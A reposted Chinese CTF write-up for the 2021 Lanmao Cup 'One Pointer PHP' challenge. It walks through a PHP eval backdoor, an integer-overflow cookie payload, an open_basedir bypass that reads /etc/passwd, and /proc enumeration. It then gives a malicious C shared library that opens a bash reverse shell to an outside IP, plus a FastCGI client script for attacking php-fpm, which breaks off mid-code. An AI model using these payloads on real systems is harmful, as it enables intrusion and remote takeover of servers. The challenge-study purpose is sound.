[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc相关的知识,希望对你有一定的参考价值。
WP:https://mp.weixin.qq.com/s/RytU2DZEjsuODeHy3JvBcg
二、学到的&&不足:
三、学习WP:
给了源码,两个php文件:
user.php:
<?php
class User{
public $count;
}
?>
add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1; // 数组$count的第几个属性赋值为1
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
// $_COOKIE["data"]的默认值是 O:4:"User":1:{s:5:"count";i:1;}
?>
是个后门文件,只要能绕过第5行的 $count[]=1
即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句(一个等号),并且赋的值是1,所以按理说不管怎样返回的都是 True:
也就没法进入到 else 语句中的代码执行阶段了,那我们便要想办法绕过这里。
1.PHP数组溢出
在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。
payload:
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
看phpinfo();这两个都贼多,并且还有open_basedir
:/var/www/html
。
2.绕过 open_basedir.。
设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:
<?php
mkdir('Von'); //创建一个目录Von
chdir('Von'); //切换到Von目录下
ini_set('open_basedir','..'); //把open_basedir切换到上层目录
chdir('..'); //以下这三步是把目录切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/'); //设置open_basedir为根目录(此时相当于没有设置open_basedir)
echo file_get_contents('/etc/passwd'); //读取/etc/passwda
mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo%20file_get_contents('/etc/passwd');
2.1 在有disable_function情况下用其他的函数读取问题:
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
是成功的。然后看一看 根目录什么的。
2.1.1 疑问:,,,不好使,还是用 常规思路把。
这里其实,我想用assert执行shell。但是连最基本的操作都没用,,,不好使,,,吐了。不知道为什么。
哦哦,试了一下,好像不能eval,然后assert,assert和eval类似,直接assert就行,
然后我另起一句话来操作,,win10上的shell好使,但是 Linux上的就不行。。
在根目录里发现了 flag。
尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。
那么接着搜集信息,看看其他的文件
show_source('/proc/self/cmdline');
2.1.2 show_source('/proc/self/cmdline');
获取当前启动进程的完成命令
这里看到了php-fpm
2.1.3 print_r(scandir('/proc/self/cwd'));
获取目标当前进程的运行目录与目录里的文件:
2.1.4 show_source('/proc/self/exe');
获得当前进程的可执行文件的完整路径:-
这个不知道为什么这么多乱码,,
2.1.5 show_source('/proc/self/environ');
获取当前环境变量
这个是空的,,
3. 学习大佬思路:
题目的PHP环境还设置了以下两个限制:
- disable_functions:
过滤了各种命令执行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤.
- open_basedir, 只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:
?backdoor=mkdir('Von');chdir('Von');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
在根目录里发现了 flag。
尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到shell执行命令,也就是得要先绕过disable_functions。
这里尝试了很多方法绕过disable_functions均失败,当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm:
所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。!!!!
首先查看nginx配置文件:
show_source('/etc/nginx/nginx.conf');
show_source('/etc/nginx/sites-available/default');
show_source('/etc/php/7.4/fpm/pool.d/www.conf ') # 这个没读取到,然后尝试一级一级ls目录也没找到,
发现 PHP-FPM 绑定在了本地 9001 端口上。
这里的SSRF,不是直接有的那些SSRF漏洞,像curl,那些,
好了,既然我们可以通过 eval() 执行任意代码,那我们便可以构造恶意代码进行SSRF , 利用SSRF攻击本地的 PHP-FPM , 我们可以通过在 vps 上搭建恶意的 ftp ,骗取主机将 payload 转发到自己的 9001 端口上 , 从而实现攻击 PHP-FPM 并执行命令,
原理就是那个 file_get_contetns() , file_put_contents() ,这两个的组合
首先使用以下c文件 hpdoger.c 编译一个恶意的 .so 扩展,这里直接用网上亘古不变的写法:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
通过 shared 命令编译:
gcc hpdoger.c -fPIC -shared -o hpdoger.so
然后将生成的 hpdoger.so 上传到目标主机(我这里上传到 /tmp 目录,可以使用 copy('http://vps/hpdoger.so' , '/tmp/hpdoger.so')
).
然后简单修改以下脚本(根据 fcgi_jailbreak.php 改的)并执行,生成 payload:
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord(以上是关于[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc的主要内容,如果未能解决你的问题,请参考以下文章
[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc
----已搬运----[蓝帽杯 2021]One Pointer PHP --- PHP数组溢出,Fastcgi FTP - SSRF 攻击 php-fpm - SUID提权 proc